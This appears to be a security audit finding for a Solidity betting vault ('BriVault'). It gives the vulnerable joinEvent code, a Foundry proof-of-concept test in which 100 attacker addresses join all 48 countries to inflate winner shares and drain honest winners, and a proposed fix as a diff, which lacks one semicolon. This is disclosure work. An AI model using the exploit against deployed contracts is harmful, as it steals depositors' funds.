function joinEvent(uint256 countryId) public {
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
@> userSharesToCountry[msg.sender][countryId] = participantShares;
@> usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
}
function _getWinnerShares() internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i) {
address user = usersAddress[i];
@> totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}
function test_JoinAllCountries() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
uint256 numAttackers = 100;
uint256 attackerDeposit = 0.01 ether;
address[] memory attackers = new address[](numAttackers);
for (uint256 i = 0; i < numAttackers; i++) {
attackers[i] = address(uint160(2000 + i));
vm.startPrank(attackers[i]);
mockToken.mint(attackers[i], 1 ether);
mockToken.approve(address(briVault), attackerDeposit);
briVault.deposit(attackerDeposit, attackers[i]);
for (uint256 j = 0; j < 48; j++) {
briVault.joinEvent(j);
}
vm.stopPrank();
}
console.log("Step 2: Retail users deposit (spread across 5 teams)");
address[] memory victims = new address[](50);
for (uint256 i = 0; i < 50; i++) {
victims[i] = address(uint160(3000 + i));
vm.startPrank(victims[i]);
mockToken.mint(victims[i], 5 ether);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(1 ether, victims[i]);
uint256 teamId;
if (i < 10) teamId = 5;
else if (i < 20) teamId = 10;
else if (i < 30) teamId = 15;
else if (i < 40) teamId = 20;
else teamId = 25;
briVault.joinEvent(teamId);
vm.stopPrank();
}
vm.warp(block.timestamp + 34 days);
vm.prank(owner);
briVault.setWinner(5);
uint256 totalWinnerShares = briVault.totalWinnerShares();
uint256 vaultBalance = mockToken.balanceOf(address(briVault));
uint256 attackerSharesEach = briVault.balanceOf(attackers[0]);
uint256 retailSharesEach = briVault.balanceOf(victims[0]);
uint256 attackerSharesTotal = attackerSharesEach * numAttackers * 48;
uint256 retailWinnersSharesTotal = retailSharesEach * 10;
uint256 inflationPercent = (attackerSharesTotal * 100) / retailWinnersSharesTotal;
vm.startPrank(victims[0]);
uint256 victimBalBefore = mockToken.balanceOf(victims[0]);
briVault.withdraw();
uint256 victimPayout = mockToken.balanceOf(victims[0]) - victimBalBefore;
vm.stopPrank();
uint256 expectedPayoutNoAttack = 5023500000000000000;
uint256 lossPercent = ((expectedPayoutNoAttack - victimPayout) * 100) / expectedPayoutNoAttack;
uint256 totalExpected = expectedPayoutNoAttack * 10;
uint256 totalActual = victimPayout * 10;
uint256 totalLoss = totalExpected - totalActual;
assertLt(victimPayout, expectedPayoutNoAttack, "Winners get less than expected");
assertGt(lossPercent, 70, "Winners should lose >70% with the inflation!");
assertLt(victimPayout, 1 ether, "Winners get LESS than original deposit!");
}
Allow users to change their mind and switch teams before the event starts, but prevent duplicates:
+ mapping(address => bool) public hasJoinedEvent;
+ mapping(address => uint256) public userJoinedCountryId;
function joinEvent(uint256 countryId) public {
// ...
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
uint256 participantShares = balanceOf(msg.sender);
+ uint256 previousCountryId = userJoinedCountryId[msg.sender];
// If user already joined a country, clear their previous choice
+ if (hasJoinedEvent[msg.sender]) {
+ userSharesToCountry[msg.sender][previousCountryId] = 0; // Clear old registration
// Don't increment numberOfParticipants or totalParticipantShares (already counted)
+ } else {
// First time joining - add to usersAddress array
+ hasJoinedEvent[msg.sender] = true;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
+ }
// Set new country choice
userToCountry[msg.sender] = teams[countryId];
userSharesToCountry[msg.sender][countryId] = participantShares;
+ userJoinedCountryId[msg.sender] = countryId
emit joinedEvent(msg.sender, countryId);
}